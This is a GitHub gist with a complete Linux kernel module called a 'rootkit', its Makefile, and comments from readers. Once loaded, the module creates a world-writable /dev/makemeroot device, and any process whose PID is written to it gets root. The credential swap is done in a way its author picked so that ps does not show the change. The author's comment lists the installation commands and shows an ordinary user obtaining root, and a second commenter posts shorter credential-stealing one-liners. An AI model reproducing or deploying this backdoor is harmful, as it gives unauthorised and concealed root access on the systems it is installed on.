Skip to content

Instantly share code, notes, and snippets.

@vkobel
Last active October 22, 2022 16:54
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vkobel/4aa86ee942f8e617cba2ed3cfdadce11 to your computer and use it in GitHub Desktop.
Save vkobel/4aa86ee942f8e617cba2ed3cfdadce11 to your computer and use it in GitHub Desktop.
Simple "rootkit" kernel module (tested with Linux 5.6.3) that adds a device handler taking a PID and upgrade it to root (example in the comments below)
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
#include <linux/fs.h>
MODULE_LICENSE("GPL");
struct task_struct *get_task_struct_by_pid(unsigned pid)
{
struct pid *proc_pid = find_vpid(pid);
struct task_struct *task;
if(!proc_pid)
return 0;
task = pid_task(proc_pid, PIDTYPE_PID);
return task;
}
static int make_pid_root(unsigned pid)
{
struct task_struct *task;
struct cred *new_cred;
kuid_t kuid = KUIDT_INIT(0);
kgid_t kgid = KGIDT_INIT(0);
task = get_task_struct_by_pid(pid);
if (task == NULL) {
printk("Failed to get current task info.\n");
return -1;
}
new_cred = prepare_creds();
if (new_cred == NULL) {
printk("Failed to prepare new credentials\n");
return -ENOMEM;
}
new_cred->uid = kuid;
new_cred->gid = kgid;
new_cred->euid = kuid;
new_cred->egid = kgid;
// Dirty creds assignment so "ps" doesn't show the root uid!
// If one uses commit_creds(new_cred), not only this would only affect
// the current calling task but would also display the new uid (more visible).
// rcu_assign_pointer is taken from the commit_creds source code (kernel/cred.c)
rcu_assign_pointer(task->cred, new_cred);
printk("PID %d is now root!\n", pid);
return 0;
}
static ssize_t device_file_write(struct file *file_ptr, const char __user *user_buffer, size_t count, loff_t *position)
{
char* dummy;
int result;
unsigned pid = (int) simple_strtol(user_buffer, &dummy, 10);
result = make_pid_root(pid);
if (result < 0){
printk(KERN_ALERT "Failed to change PID credentials!\n");
}
return count;
}
static struct file_operations file_ops = {
.owner = THIS_MODULE,
.write = device_file_write,
};
static int major_number = 0;
static const char device_name[] = "makemeroot";
static int __init register_device(void)
{
major_number = register_chrdev(0, device_name, &file_ops);
if (major_number < 0) {
printk(KERN_ALERT "Registering char device failed with %d\n", major_number);
return major_number;
}
printk(KERN_NOTICE "%s: registered character device with major number = %i\n", device_name, major_number);
return 0;
}
static void __exit unregister_device(void)
{
printk(KERN_NOTICE "%s: unregister_device() is called\n", device_name);
if(major_number != 0){
unregister_chrdev(major_number, device_name);
}
}
static int my_init(void)
{
int result = 0;
printk(KERN_NOTICE "%s: Initialization started\n", device_name);
result = register_device();
return result;
}
static void my_exit(void)
{
unregister_device();
}
module_init(my_init);
module_exit(my_exit);
obj-m += rootkit.o
all:
make -C ~/linux-source M=$(PWD) modules
clean:
make -C ~/linux-source M=$(PWD) clean
@vkobel
Copy link
Author

vkobel commented Apr 16, 2020

To install the module and setup the device (as root):

> insmod rootkit.ko
(major device number is then printed in kernel log, dmesg)

> mknod /dev/makemeroot c [major-device-nb] 0
> chmod a+w /dev/makemeroot

Now logged as a regular non-root user you can do:

$ id
uid=1000(bob) gid=1000(bob) groups=1000(bob)

$ echo $$ > /dev/makemeroot

$ id
uid=0(root) gid=0(root) groups=0(root)

giggles

@Zibri
Copy link

Zibri commented Oct 20, 2022

A one liner to get root:
just copy creds from init process :D

commit_creds(prepare_kernel_cred(pid_task(find_vpid(1), PIDTYPE_PID)));
or impersonate kernel:
commit_creds(prepare_kernel_cred(pid_task(find_vpid(0), PIDTYPE_PID)));

@Zibri
Copy link

Zibri commented Oct 22, 2022

also...
this module does not work if the root user writes another process pid in /dev/makeroot

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment